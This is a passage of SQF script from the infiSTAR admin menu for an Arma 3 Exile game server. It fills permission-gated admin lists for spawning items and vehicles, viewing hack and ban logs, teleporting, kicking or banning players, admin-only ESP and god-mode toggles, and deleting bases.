  8432. _RSCButton33402 ctrlCommit 0;
  8433.  
  8434. if(BTN_GET_ITEM_SEL isEqualTo 0)then
  8435. {
  8436. _RSCButton33401 ctrlSetTextColor [0,1,0,1];
  8437. _RSCButton33402 ctrlSetTextColor [1,1,1,1];
  8438. }
  8439. else
  8440. {
  8441. _RSCButton33401 ctrlSetTextColor [1,1,1,1];
  8442. _RSCButton33402 ctrlSetTextColor [0,1,0,1];
  8443. };
  8444. }
  8445. else
  8446. {
  8447. _btnItems ctrlSetTextColor [1,1,1,1];
  8448.  
  8449. ctrlDelete (_display displayCtrl 33401);
  8450. ctrlDelete (_display displayCtrl 33402);
  8451. };
  8452. _btnVehs = _display displayCtrl 37;
  8453. if((LASTSUBBUTTON isEqualTo 1)&&(FILLMAINSTATE isEqualTo 1))then
  8454. {
  8455. _btnVehs ctrlSetTextColor [0,1,0,1];
  8456. if('Spawn Persistent Vehicles' call ADMINLEVELACCESS)then
  8457. {
  8458. _ctrlpos =
  8459. [
  8460. 0.2 * safezoneW + safezoneX,
  8461. 0.173 * safezoneH + safezoneY,
  8462. 0.15 * safezoneW,
  8463. 0.025 * safezoneH
  8464. ];
  8465.  
  8466. _RSCButton33401 = [_display,'RSCButton',33403] call fnc_createctrl;
  8467. _RSCButton33401 ctrlSetText 'NonPersistent';
  8468. _RSCButton33401 ctrlSetPosition _ctrlpos;
  8469. _RSCButton33401 buttonSetAction 'BTN_SPAWN_VEH_SEL = 0;[] call fnc_colorButtons;';
  8470. _RSCButton33401 ctrlCommit 0;
  8471. _RSCButton33402 = [_display,'RSCButton',33404] call fnc_createctrl;
  8472. _RSCButton33402 ctrlSetText 'Persistent';
  8473. _RSCButton33402 ctrlSetPosition [((_ctrlpos select 0)+(_ctrlpos select 2))*1.2,_ctrlpos select 1,_ctrlpos select 2,_ctrlpos select 3];
  8474. _RSCButton33402 buttonSetAction 'BTN_SPAWN_VEH_SEL = 1;[] call fnc_colorButtons;';
  8475. _RSCButton33402 ctrlEnable true;
  8476. _RSCButton33402 ctrlCommit 0;
  8477.  
  8478. if(BTN_SPAWN_VEH_SEL isEqualTo 0)then
  8479. {
  8480. _RSCButton33401 ctrlSetTextColor [0,1,0,1];
  8481. _RSCButton33402 ctrlSetTextColor [1,1,1,1];
  8482. }
  8483. else
  8484. {
  8485. _RSCButton33401 ctrlSetTextColor [1,1,1,1];
  8486. _RSCButton33402 ctrlSetTextColor [0,1,0,1];
  8487. };
  8488. };
  8489. }
  8490. else
  8491. {
  8492. _btnVehs ctrlSetTextColor [1,1,1,1];
  8493. if('Spawn Persistent Vehicles' call ADMINLEVELACCESS)then
  8494. {
  8495. ctrlDelete (_display displayCtrl 33403);
  8496. ctrlDelete (_display displayCtrl 33404);
  8497. };
  8498. };
  8499. _btnTrader = _display displayCtrl 38;
  8500. if(LASTSUBBUTTON isEqualTo 2)then{_btnTrader ctrlSetTextColor [0,1,0,1];} else {_btnTrader ctrlSetTextColor [1,1,1,1];};
  8501. _mytime = 0.3;
  8502. _ctrlR = _display displayCtrl RIGHT_SHIFT_ID;
  8503. if(isNil 'ctrlposR')then{ctrlposR = ctrlPosition _ctrlR;};
  8504. _ctrlRTMP = [(ctrlposR select 0),(ctrlposR select 1),(ctrlposR select 2)*2.35,(ctrlposR select 3)];
  8505. if(FILLMAINSTATE isEqualTo 0)then
  8506. {
  8507. _ctrlRTMP = ctrlposR;
  8508. };
  8509. if(FILLMAINSTATE isEqualTo 1)then
  8510. {
  8511. _ctrlRTMP = [(ctrlposR select 0),(ctrlposR select 1)+.25,(ctrlposR select 2),(ctrlposR select 3)-.25];
  8512. };
  8513. _ctrlR ctrlSetPosition _ctrlRTMP;
  8514. _ctrlR ctrlCommit _mytime;
  8515.  
  8516. _btnHTML = _display displayCtrl 25;
  8517. if(infiSTAR_HTML_LOAD)then{_btnHTML ctrlSetTextColor [1,0,0,1];_btnHTML ctrlSetText 'HIDE HTML';}else{_btnHTML ctrlSetTextColor [0,1,0,1];_btnHTML ctrlSetText 'SHOW HTML';};
  8518. (uiNamespace getVariable 'RscHTML_infiSTAR_Admin') ctrlEnable infiSTAR_HTML_LOAD;
  8519. (uiNamespace getVariable 'RscHTML_infiSTAR_Admin') ctrlShow infiSTAR_HTML_LOAD;
  8520. };
  8521. fnc_fill_HackLog = {
  8522. disableSerialization;
  8523. _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
  8524. lbclear _ctrl;
  8525. _ctrl lbAdd 'clear ingame HackLog';
  8526. _ctrl lbAdd 'DBL-CLICK TO SYSTEMCHAT';
  8527. _ctrl lbAdd '--------------------';
  8528.  
  8529. _cnt = count AH_HackLogArray;
  8530. _ctrl lbAdd format['HackLog: %1',_cnt];
  8531. for '_i' from (_cnt - 1) to 0 step -1 do
  8532. {
  8533. _ctrl lbAdd (AH_HackLogArray select _i);
  8534. };
  8535.  
  8536. _ctrl lbAdd '';
  8537. _cnt = count AH_SurvLogArray;
  8538. _ctrl lbAdd format['SurveillanceLog: %1',_cnt];
  8539. for '_i' from (_cnt - 1) to 0 step -1 do
  8540. {
  8541. _ctrl lbAdd (AH_SurvLogArray select _i);
  8542. };
  8543.  
  8544. _ctrl lbAdd '';
  8545. _ctrl lbAdd format['BanLog: %1',count PVAH_AHTMPBAN];
  8546. if(str PVAH_AHTMPBAN != '[]')then
  8547. {
  8548. _ctrl lbAdd 'DBL-CLICK TO REMOVE';
  8549. {_ctrl lbAdd _x;} forEach PVAH_AHTMPBAN;
  8550. };
  8551. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  8552. };
  8553. fnc_fill_AdminLog = {
  8554. disableSerialization;
  8555. _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
  8556. lbclear _ctrl;
  8557. if('AdminLog' call ADMINLEVELACCESS)then
  8558. {
  8559. _ctrl lbAdd 'clear ingame AdminLog';
  8560. _ctrl lbAdd 'DBL-CLICK TO SYSTEMCHAT';
  8561. {_ctrl lbAdd _x;} forEach AH_AdmiLogArray;
  8562. }
  8563. else
  8564. {
  8565. _ctrl lbAdd 'Nothin to see here';
  8566. };
  8567. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  8568. };
  8569. infiSTAR_SubMenus =
  8570. [
  8571. '==== Vehicles ====','==== OnTarget ====','==== Toggleable ====','==== Custom Functions ===='
  8572. ];
  8573. infiSTAR_SubMenus append newAllItems_CATEGORY;
  8574. infiSTAR_OnTargetNICE =
  8575. [
  8576. 'Teleport - Target To Me','Teleport - Me To Target',
  8577. 'Request Steam Name','Revive','Heal','Restore','Flip Vehicle',
  8578. 'Move In My Vehicle','Move In Target Vehicle','Remove Unconscious',
  8579. 'UnFreeze','UnRestrain',
  8580. 'Change Money on Player','Change Money on Bank','Change Respect'
  8581. ];
  8582. infiSTAR_OnTargetEVIL =
  8583. [
  8584. 'Restrain','Freeze',
  8585. 'Remove Gear','Kill','Light','Explode','Delete Vehicle','Eject','Eject Crew','Unconscious',
  8586. 'Force Disconnect','Kick (Silent)','Kick (Announce)',
  8587. 'Ban (Silent)','Ban (Announce)','TempBan (Silent)','TempBan (Announce)'
  8588. ];
  8589. infiSTAR_OnTarget = infiSTAR_OnTargetNICE + infiSTAR_OnTargetEVIL;
  8590. infiSTAR_Toggleable =
  8591. [
  8592. 'Player ESP','Player ESP (safezone style)','Player ESP Old','AI ESP','Dead ESP','Loot ESP',
  8593. 'MapIcons','Vehicle Marker','Flag Marker (with radius)','DeadPlayer Marker','Stealth / Invisible',
  8594. 'God Mode','God Mode (no stats change)','Vehicle God Mode','Vehboost','UnlimAmmo','noRecoil','FastFire','Lower Terrain',
  8595. 'Disable Announces','Teleport In Facing Direction (10m steps)','Show Server Information'
  8596. ];
  8597. fnc_fill_infiSTAR_MAIN = {
  8598. disableSerialization;
  8599. _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
  8600. lbclear _ctrl;
  8601. if(FILLMAINSTATE == 1)then
  8602. {
  8603. switch (LASTSUBBUTTON) do {
  8604. case 0:{
  8605. if('Items spawn menu' call ADMINLEVELACCESS)then
  8606. {
  8607. {
  8608. _category = _x;
  8609. _ctrl lbAdd _category;
  8610.  
  8611. _varstate = missionNameSpace getVariable (_category+'SHOW_STATE');
  8612. if(!isNil '_varstate')then
  8613. {
  8614. _variable = missionNameSpace getVariable (_category+'_ARRAY');
  8615. {
  8616. _displayName = getText(configFile >> 'CfgWeapons' >> _x >> 'displayName');
  8617. if(_displayName isEqualTo '')then{_displayName = getText(configFile >> 'CfgMagazines' >> _x >> 'displayName');};
  8618. if(_displayName isEqualTo '')then{_displayName = getText(configFile >> 'CfgVehicles' >> _x >> 'displayName');};
  8619.  
  8620. _lbid = _ctrl lbAdd format['%1 (%2)',_displayName,_x];
  8621. _ctrl lbSetData [_lbid,_x];
  8622. _x call fnc_addpic;
  8623. } forEach _variable;
  8624. };
  8625.  
  8626. } forEach newAllItems_CATEGORY;
  8627. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  8628. };
  8629. };
  8630. case 1:{
  8631. if(('Spawn Vehicles' call ADMINLEVELACCESS) || ('Spawn Persistent Vehicles' call ADMINLEVELACCESS))then
  8632. {
  8633. _ctrl lbAdd '==== Vehicles ====';
  8634. if(!isNil 'infiSTAR_add_vehicles')then
  8635. {
  8636. _lbid = _ctrl lbAdd 'Exile vehicles:';
  8637. _ctrl lbSetColor [_lbid, [0,1,0,1]];
  8638. {
  8639. _lbid = _ctrl lbAdd format['%1 (%2)',getText(configFile >> 'CfgVehicles' >> _x >> 'displayName'),_x];
  8640. _ctrl lbSetData [_lbid,_x];
  8641. _x call fnc_addpic;
  8642. _ctrl lbSetColor [_lbid, [0,1,0,1]];
  8643. } forEach ALL_VEHS_TO_SEARCH_C_EXILE;
  8644.  
  8645. _ctrl lbAdd '';
  8646. _ctrl lbAdd 'Other vehicles:';
  8647. {
  8648. _lbid = _ctrl lbAdd format['%1 (%2)',getText(configFile >> 'CfgVehicles' >> _x >> 'displayName'),_x];
  8649. _ctrl lbSetData [_lbid,_x];
  8650. _x call fnc_addpic;
  8651. } forEach ALL_VEHS_TO_SEARCH_C_OTHER;
  8652. };
  8653. };
  8654. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  8655. };
  8656. case 2:{
  8657. _lbid = _ctrl lbAdd '!!! ATTENTION !!!';_ctrl lbSetData [_lbid,'-1337'];
  8658. _lbid = _ctrl lbAdd 'Trader menus might be a bit buggy.';_ctrl lbSetData [_lbid,'-1337'];
  8659. {
  8660. _lbid = _ctrl lbAdd (_x select 0);
  8661. if(count _x isEqualTo 1)then{_ctrl lbSetData [_lbid,'-1337'];}else{_ctrl lbSetData [_lbid,str _forEachIndex];};
  8662. } forEach TRADER_FUNCTION_ARRAY;
  8663. };
  8664. default {lbclear _ctrl;};
  8665. };
  8666. };
  8667. if(FILLMAINSTATE == 0)then
  8668. {
  8669. _onTarget = [];
  8670. {if(_x call ADMINLEVELACCESS)then{_onTarget pushBack _x;};} forEach infiSTAR_OnTargetNICE;
  8671.  
  8672. if!(_onTarget isEqualTo [])then{_onTarget pushBack '---';};
  8673. {if(_x call ADMINLEVELACCESS)then{_onTarget pushBack _x;};} forEach infiSTAR_OnTargetEVIL;
  8674. if!(_onTarget isEqualTo [])then
  8675. {
  8676. _ctrl lbAdd '==== OnTarget ====';
  8677. if(isNil 'infiSTAR_add_OnTarget')then
  8678. {
  8679. {_ctrl lbAdd _x;} forEach _onTarget;
  8680. };
  8681. };
  8682.  
  8683.  
  8684. _Toggleable = [];
  8685. {if(_x call ADMINLEVELACCESS)then{_Toggleable pushBack _x;};} forEach infiSTAR_Toggleable;
  8686. if!(_Toggleable isEqualTo [])then
  8687. {
  8688. _ctrl lbAdd '==== Toggleable ====';
  8689. if(isNil 'infiSTAR_add_Toggleable')then
  8690. {
  8691. {_ctrl lbAdd _x;} forEach _Toggleable;
  8692. };
  8693. };
  8694.  
  8695. if('Spawn Ammo' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Spawn Ammo';};
  8696. if('Change ViewDistance' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Change ViewDistance';};
  8697. if('FreeRoam Cam (does not work with ESP)' call ADMINLEVELACCESS)then{_ctrl lbAdd 'FreeRoam Cam (does not work with ESP)'};
  8698. if('BIS FreeRoam Cam (works with ESP)' call ADMINLEVELACCESS)then{_ctrl lbAdd 'BIS FreeRoam Cam (works with ESP)'};
  8699.  
  8700. if('Spawn Support-Boxes' call ADMINLEVELACCESS)then
  8701. {
  8702. _ctrl lbAdd '';
  8703. {
  8704. _ctrl lbAdd _x;
  8705. } forEach allSupportBoxesNames;
  8706. };
  8707.  
  8708. if('Create Billboard' call ADMINLEVELACCESS)then
  8709. {
  8710. _ctrl lbAdd '';
  8711. {
  8712. _index = _ctrl lbAdd format['Create Billboard: %1',_x select 0];
  8713. } forEach pathToCustomBillBoardTextures;
  8714. };
  8715.  
  8716. _ctrl lbAdd '';
  8717. if('Copy Worldspace(coords) to RPT & Chat' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Copy Worldspace(coords) to RPT & Chat';};
  8718. if('Mass Message' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Mass Message';};
  8719. if('Change Time' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Day'};
  8720. if('Change Time' call ADMINLEVELACCESS)then{_ctrl lbAdd 'Night'};
  8721. if('AdminConsole' call ADMINLEVELACCESS)then{_ctrl lbAdd 'AdminConsole';};
  8722. if('DebugConsole' call ADMINLEVELACCESS)then{_ctrl lbAdd 'DebugConsole';};
  8723. if('Login as Arma Admin' call ADMINLEVELACCESS)then
  8724. {
  8725. if(isNil 'serverCommandLoginDone')then{_ctrl lbAdd 'Login';};
  8726. if(serverCommandAvailable '#logout')then
  8727. {
  8728. _target = lbtext[LEFT_SHIFT_ID,(lbCurSel LEFT_SHIFT_ID)];
  8729. _ctrl lbAdd format['#kick %1',_target];
  8730. _ctrl lbAdd format['#exec ban %1',str _target];
  8731. };
  8732. };
  8733.  
  8734. _ctrl lbAdd '';
  8735. _ctrl lbAdd 'Self Disconnect';
  8736. _ctrl lbAdd '';
  8737.  
  8738. if('==== Base Deleter ====' call ADMINLEVELACCESS)then
  8739. {
  8740. _index = _ctrl lbAdd '==== Base Deleter ====';
  8741. _ctrl lbSetColor [_index, [0.2,0.4,1,1]];
  8742. if(isNil 'infiSTAR_add_BaseDeleter')then
  8743. {
  8744. _ctrl lbAdd 'BD: Set Center';
  8745. if(!isNil 'CCGbdCenter')then{
  8746. _ctrl lbAdd 'BD: Set Radius';
  8747. };
  8748. if(!isNil 'CCGbdCenter' && !isNil 'CCGbdRadius')then{
  8749. _ctrl lbAdd '';
  8750. _objects = call CCG_fnc_bdGetObjectsToDelete;
  8751. _ctrl lbAdd format['BD: Selected %1 Objects', count _objects];
  8752. _index = _ctrl lbAdd 'BD: Delete Base';
  8753. _ctrl lbSetColor [_index, [0.8,0,0,1]];
  8754.  
  8755. _ctrl lbAdd '';
  8756.  
  8757. _objects = call CCG_fnc_bdGetWeaponHoldersToDelete;
  8758. _ctrl lbAdd format['BD: Selected %1 WeaponHolder', count _objects];
  8759. _index = _ctrl lbAdd 'BD: Delete Weaponholder';
  8760. _ctrl lbSetColor [_index, [0.8,0,0,1]];
  8761. _ctrl lbAdd '';
  8762. };
  8763. _ctrl lbAdd 'BD: Cancel / Remove';
  8764. _ctrl lbAdd '';
  8765. };
  8766. };
  8767.  
  8768. if(!isNil'infiSTAR_customFunctions')then
  8769. {
  8770. _customFunctions = [];
  8771. {if((_x select 1) call ADMINLEVELACCESS)then{_customFunctions pushBack (_x select 1);};} forEach infiSTAR_customFunctions;
  8772. if!(_customFunctions isEqualTo [])then
  8773. {
  8774.  
  8775. _ctrl lbAdd '==== Custom Functions ====';
  8776. if(isNil 'infiSTAR_add_customFunctions')then
  8777. {
  8778. {_ctrl lbAdd _x;} forEach _customFunctions;
  8779. };
  8780. };
  8781. };
  8782.  
  8783. _ctrl lbAdd '';
  8784. _ctrl lbAdd 'Keybinds:';
  8785. _ctrl lbAdd 'F1 - Default AdminMenu Key';
  8786. _ctrl lbAdd 'F3 - Adminconsole / Debug Console';
  8787. _ctrl lbAdd 'F6 - Heal Yourself';
  8788. _ctrl lbAdd 'F7 - Heal & Repair withing 15m';
  8789. _ctrl lbAdd 'F8 - Flip CursorTarget Vehicle';
  8790. _ctrl lbAdd 'F9 - Show Gear of Player you are currently spectating (might close if player moves)';
  8791. _ctrl lbAdd 'F10 - Stop Spectating';
  8792. _ctrl lbAdd 'F11 - Add Ammo for current weapon';
  8793. _ctrl lbAdd 'CTRL & 1 - Light / Zeus';
  8794. _ctrl lbAdd 'SHIFT & 4 - Fly Up';
  8795. _ctrl lbAdd 'SHIFT & 5 - Teleport in looking direction (if enabled)';
  8796. _ctrl lbAdd '7 - Unlock/Lock targeted Vehicle';
  8797. _ctrl lbAdd 'SHIFT & F2 - configviewer';
  8798. _ctrl lbAdd 'SHIFT & TAB - Open Map';
  8799. _ctrl lbAdd 'SHIFT & I - Show Info (Like Codes of Vehicles and Doors)';
  8800. _ctrl lbAdd 'DELETE - Delete CursorTarget';
  8801. _ctrl lbAdd 'ON MAP - LEFT-ALT + CLICK To Teleport';
  8802. _ctrl lbAdd 'TYPE !admin in Chat to relog as player/admin';
  8803. };
  8804. [] call fnc_colorizeMain;
  8805. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  8806. };
  8807. fnc_get_plr = {allPlayers};
  8808. fnc_fill_infiSTAR_Player_REAL = {
  8809. disableSerialization;
  8810. _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl LEFT_SHIFT_ID;
  8811. lbclear _ctrl;
  8812. _unsorted = call fnc_get_plr;
  8813. _sorted = _unsorted;
  8814. lbclear _ctrl;
  8815. if!(_sorted isEqualTo [])then
  8816. {
  8817. _fnc_addPlayerToList = {
  8818. if(isNull _x)exitWith{};
  8819. _PUIDX = getPlayerUID _x;
  8820. if(_PUIDX == '')exitWith{};
  8821. _side = side _x;
  8822.  
  8823. _grp = group _x;
  8824. _ExileName = if(alive _x)then{name _x}else{_x getVariable['ExileName',name _x]};
  8825. _name = format['%1 [%2]',_ExileName,_side];
  8826. if(count units _grp > 1)then
  8827. {
  8828. _name = format['%1 [%2 (%3)]',_ExileName,_side,_grp];
  8829. };
  8830. _index = _ctrl lbAdd _name;
  8831.  
  8832. _veh = vehicle _x;
  8833. _xpic = getText (configFile >> 'CfgVehicles' >> (typeOf _veh) >> 'picture');
  8834. if(alive _x)then
  8835. {
  8836. if(_x == _veh)then
  8837. {
  8838. _wpnstate = weaponState _x;
  8839. _cwep = _wpnstate select 0;
  8840. if(_cwep != '')then
  8841. {
  8842. _xpic = getText (configFile >> 'CfgWeapons' >> _cwep >> 'picture');
  8843. };
  8844. };
  8845. };
  8846. if(_xpic call FNC_PIC_VALID)then
  8847. {
  8848. _ctrl lbSetPicture [_index,_xpic];
  8849. _ctrl lbSetPictureColor [_index,[1, 1, 1, 1]];
  8850. };
  8851. _clr = _x call FN_GET_CLR_PLAYERLIST;
  8852. _ctrl lbSetColor [_index,_clr];
  8853. };
  8854. if(!isNil'SortAlphaPlease')exitWith
  8855. {
  8856. {call _fnc_addPlayerToList} forEach _sorted;
  8857. };
  8858. if(!isNil'SortGroupsPlease')exitWith
  8859. {
  8860. _shown = [];
  8861. {
  8862. _grp = group _x;
  8863. if!(_grp in _shown)then
  8864. {
  8865. _shown pushBack _grp;
  8866.  
  8867. _ctrl lbAdd format['______%1______',_grp];
  8868. {
  8869. call _fnc_addPlayerToList;
  8870. } forEach (units _grp);
  8871. };
  8872. } forEach _sorted;
  8873. };
  8874. if(!isNil'SortRangePlease')exitWith
  8875. {
  8876. sortRangePos = if(positionCameraToWorld [0,0,0] distance cameraOn > 10)then{positionCameraToWorld [0,0,0]}else{cameraOn};
  8877. _sorted = [_unsorted,[],{sortRangePos distance _x},'ASCEND'] call BIS_fnc_sortBy;
  8878. {call _fnc_addPlayerToList} forEach _sorted;
  8879. };
  8880. };
  8881. _display = findDisplay MAIN_DISPLAY_ID;
  8882. _btnSortAlpha = _display displayCtrl 10;if(!isNil 'SortAlphaPlease')then{lbSort _ctrl;_btnSortAlpha ctrlSetTextColor [0,1,0,1];} else {_btnSortAlpha ctrlSetTextColor [1,1,1,1];};
  8883. _btnSortGroups = _display displayCtrl 11;if(!isNil 'SortGroupsPlease')then{_btnSortGroups ctrlSetTextColor [0,1,0,1];} else {_btnSortGroups ctrlSetTextColor [1,1,1,1];};
  8884. _btnSortRange = _display displayCtrl 12;if(!isNil 'SortRangePlease')then{_btnSortRange ctrlSetTextColor [0,1,0,1];} else {_btnSortRange ctrlSetTextColor [1,1,1,1];};
  8885. _ctrl lbAdd '-----------------------------------';
  8886. _index = _ctrl lbAdd '[Selected]';_ctrl lbSetColor [_index,[1,0.7,0.15,1]];
  8887. _index = _ctrl lbAdd '[In Vehicle]';_ctrl lbSetColor [_index,[0.047,0.502,1,1]];
  8888. _index = _ctrl lbAdd '[Player]';_ctrl lbSetColor [_index,[1,0.17,0.17,1]];
  8889. _index = _ctrl lbAdd '[Group]';_ctrl lbSetColor [_index,[1,0.95,0,1]];
  8890. _index = _ctrl lbAdd '[Admin]';_ctrl lbSetColor [_index,[0,1,0,1]];
  8891. _index = _ctrl lbAdd '[Dead Player]';_ctrl lbSetColor [_index,[1,1,1,1]];
  8892. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  8893. };
  8894. fnc_fill_infiSTAR_Player = {
  8895. [
  8896. '',
  8897. {
  8898. call fnc_fill_infiSTAR_Player_REAL
  8899. }
  8900. ] execFSM 'call.fsm';
  8901. };
  8902. fnc_LBDblClick_LEFT = {
  8903. if(!isNil 'SELECTED_TARGET_PLAYER')then
  8904. {
  8905. if(!isNull SELECTED_TARGET_PLAYER)then
  8906. {
  8907. if('spectating' call ADMINLEVELACCESS)then{SELECTED_TARGET_PLAYER call fnc_beginspectate;};
  8908. };
  8909. };
  8910. };
  8911. fnc_LBSelChanged_LEFT = {
  8912. _obj = call fnc_get_selected_object;
  8913. if(!isNull (findDisplay MAIN_DISPLAY_ID displayCtrl 44463))then
  8914. {
  8915. (findDisplay MAIN_DISPLAY_ID displayCtrl 44463) ctrlSetText format['SELECTED TARGET: %1',SELECTED_TARGET_PLAYER];
  8916. };
  8917. if(visibleMap)then
  8918. {
  8919. (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlMapAnimAdd [1, 0.1, getPos _obj];
  8920. ctrlMapAnimCommit (uiNamespace getVariable 'A3MAPICONS_mainMap');
  8921. };
  8922. _obj
  8923. };
  8924. fnc_GET_ITEM = {
  8925. _target = call fnc_get_selected_object;
  8926. if((BTN_GET_ITEM_SEL isEqualTo 0)&&!(FILLMAINSTATE isEqualTo 6))then
  8927. {
  8928. _posATL = getPosATL _target;
  8929. _pos = _target modelToWorld [0,1.5,0];
  8930. _pos set[2,_posATL select 2];
  8931. [3,netId _target,_pos,_class] call fnc_AdminReq;
  8932.  
  8933. _log = format['Spawning %1 on the ground infront of %2!',_click,name _target];
  8934. _log call fnc_adminLog;
  8935. _log call FN_SHOW_LOG;
  8936. }
  8937. else
  8938. {
  8939. [_target,_class] call fnc_reallyAdditem;
  8940. _log = format['Spawning %1 on %2!',_click,name _target];
  8941. _log call fnc_adminLog;
  8942. _log call FN_SHOW_LOG;
  8943. };
  8944. };
  8945. FN_EXILE_VEH_TRADER_ADMIN = {
  8946. if((player isEqualTo (vehicle player))&&((_this select 2 isEqualTo 1)))exitWith
  8947. {
  8948. systemChat '<infiSTAR.de> You need to be in a Vehicle to use this!'
  8949. };
  8950. _obj = (_this select 0) createVehicleLocal (getPos player);
  8951. _obj setVariable ['ExileTraderType',(_this select 0)];
  8952. _obj call (missionNameSpace getVariable (_this select 1));
  8953. deleteVehicle _obj;
  8954. };
  8955. fnc_toggleables = {
  8956. _stop = false;
  8957. switch (_this) do {
  8958. case 'Player ESP':{call fnc_PlayerESP_NORM;};
  8959. case 'Player ESP (safezone style)':{call fnc_PlayerESP_SS;};
  8960. case 'AI ESP':{if(isNil 'fnc_infiESP_stateAI')then{fnc_infiESP_stateAI = 1;}else{fnc_infiESP_stateAI = nil;};call fnc_call_single_esps;};
  8961. case 'Dead ESP':{if(isNil 'fnc_infiESP_stateDEAD')then{fnc_infiESP_stateDEAD = 1;}else{fnc_infiESP_stateDEAD = nil;};call fnc_call_single_esps;};
  8962. case 'Loot ESP':{call fnc_LootESP;};
  8963. case 'MapIcons':{call infiSTAR_A3MAPICONS;};
  8964. case 'Vehicle Marker':{call adminVehicleMarker;};
  8965. case 'Flag Marker (with radius)':{call adminFlagMark;};
  8966. case 'DeadPlayer Marker':{call adminDeadPlayer;};
  8967. case 'God Mode':{if('God Mode (no stats change)' in infiSTAR_toggled_A)exitWith{systemChat 'Please disable God Mode (no stats change) first.';_stop=true;};call infiSTAR_A3Invulnerability;};
  8968. case 'God Mode (no stats change)':{if('God Mode' in infiSTAR_toggled_A)exitWith{systemChat 'Please disable God Mode first.';_stop=true;};call infiSTAR_A3Invulnerability2;};
  8969. case 'Vehicle God Mode':{call fnc_infiSTAR_A3cargod;};
  8970. case 'Lower Terrain':{call fnc_LowerTerrain;};
  8971. case 'Vehboost':{call infiSTAR_VehicleBoost;};
  8972. case 'UnlimAmmo':{call fnc_infiSTAR_A3UnlAmmo;};
  8973. case 'noRecoil':{call fnc_infiSTAR_A3noRecoil;};
  8974. case 'FastFire':{call fnc_infiSTAR_A3FF;};
  8975. case 'Stealth / Invisible':{call fnc_infiSTARHIDE;};
  8976. case 'Disable Announces':{call fnc_DisableAnnouncements;};
  8977. case 'Teleport In Facing Direction (10m steps)':{if(isNil'infiSTAR_TpdirectionENABLED')then{infiSTAR_TpdirectionENABLED=true}else{infiSTAR_TpdirectionENABLED=nil;};};
  8978. case 'Show Server Information':{call FN_SERVER_INFORMATION_OVERLAY;};
  8979. };
  8980. if(_stop)exitWith{};
  8981. if(_this in infiSTAR_CUSTOM_Toggleable)then
  8982. {
  8983. _id = infiSTAR_CUSTOM_Toggleable find _this;
  8984. if!(_id isEqualTo -1)then
  8985. {
  8986. call (missionNameSpace getVariable format['FNC_CUSTOM_TOGGLEABLE_%1',_id]);
  8987. };
  8988. };
  8989. if(_this in infiSTAR_toggled_A)then
  8990. {
  8991. lbSetColor [RIGHT_SHIFT_ID,1,[1,0,0,1]];
  8992. infiSTAR_toggled_A = infiSTAR_toggled_A - [_this];
  8993. _log = format['%1 - OFF',_this];
  8994. _log call fnc_adminLog;
  8995. _log call FN_SHOW_LOG;
  8996. }
  8997. else
  8998. {
  8999. lbSetColor [RIGHT_SHIFT_ID,1,[0,1,0,1]];
  9000. infiSTAR_toggled_A pushBack _this;
  9001. _log = format['%1 - ON',_this];
  9002. _log call fnc_adminLog;
  9003. _log call FN_SHOW_LOG;
  9004. };
  9005. };
  9006. fnc_LBDblClick_RIGHT = {
  9007. _click = lbtext[RIGHT_SHIFT_ID,(lbCurSel RIGHT_SHIFT_ID)];
  9008. if(_click isEqualTo '')exitWith{};
  9009. if(FILLMAINSTATE isEqualTo 1 && LASTSUBBUTTON isEqualTo 2)exitWith
  9010. {
  9011. _num = parseNumber(lbData[RIGHT_SHIFT_ID,(lbCurSel RIGHT_SHIFT_ID)]);
  9012. if(_num isEqualTo -1337)exitWith{};
  9013. (TRADER_FUNCTION_ARRAY select _num) call FN_EXILE_VEH_TRADER_ADMIN;
  9014. };
  9015. if(_click in infiSTAR_CUSTOM_RUN)exitWith
  9016. {
  9017. _id = infiSTAR_CUSTOM_RUN find _click;
  9018. if!(_id isEqualTo -1)then
  9019. {
  9020. call (missionNameSpace getVariable format['FNC_CUSTOM_RUN_%1',_id]);
  9021. };
  9022. };
  9023. if('==== Base Deleter ====' call ADMINLEVELACCESS)then{[_click] call CCG_fnc_adminClick;};
  9024. if(_click in AH_HackLogArray)exitWith{systemchat _click;diag_log _click;};
  9025. if(_click in AH_SurvLogArray)exitWith{systemchat _click;diag_log _click;};
  9026. if(_click in AH_AdmiLogArray)exitWith{systemchat _click;diag_log _click;};
  9027. if(_click in PVAH_AHTMPBAN)exitWith{
  9028. [-667,_click] call fnc_AdminReq;
  9029. systemchat format['Removed %1 from TempBan Variable. Might still be banned in ban(s).txt',_click];
  9030. [] call fnc_fill_HackLog;[] call fnc_setFocus;
  9031. };
  9032. if(_click in (infiSTAR_Toggleable+infiSTAR_CUSTOM_Toggleable))then{_click call fnc_toggleables;};
  9033. if(_click in (infiSTAR_OnTarget+infiSTAR_CUSTOM_OnTarget))then
  9034. {
  9035. _unit = call fnc_get_selected_object;
  9036.  
  9037. if(_click == 'Light')exitWith{[_unit] call fnc_Light_selected;};
  9038. if(_click == 'Kill')exitWith{[_unit] call fnc_Kill_selected;};
  9039. if(_click == 'Explode')exitWith{[_unit] call fnc_Explode_selected;};
  9040. if(_click == 'Delete Vehicle')exitWith{[_unit] call fnc_deleteVeh_selected;};
  9041.  
  9042. if(_click == 'Change Money on Player')exitWith{if(!isNil'mrthread_x')then{terminate mrthread_x;mrthread_x=nil;};mrthread_x = [_unit,0] spawn fnc_ExileMoneyRespectChange;};
  9043. if(_click == 'Change Money on Bank')exitWith{if(!isNil'mrthread_x')then{terminate mrthread_x;mrthread_x=nil;};mrthread_x = [_unit,1] spawn fnc_ExileMoneyRespectChange;};
  9044. if(_click == 'Change Respect')exitWith{if(!isNil'mrthread_x')then{terminate mrthread_x;mrthread_x=nil;};mrthread_x = [_unit,2] spawn fnc_ExileMoneyRespectChange;};
  9045.  
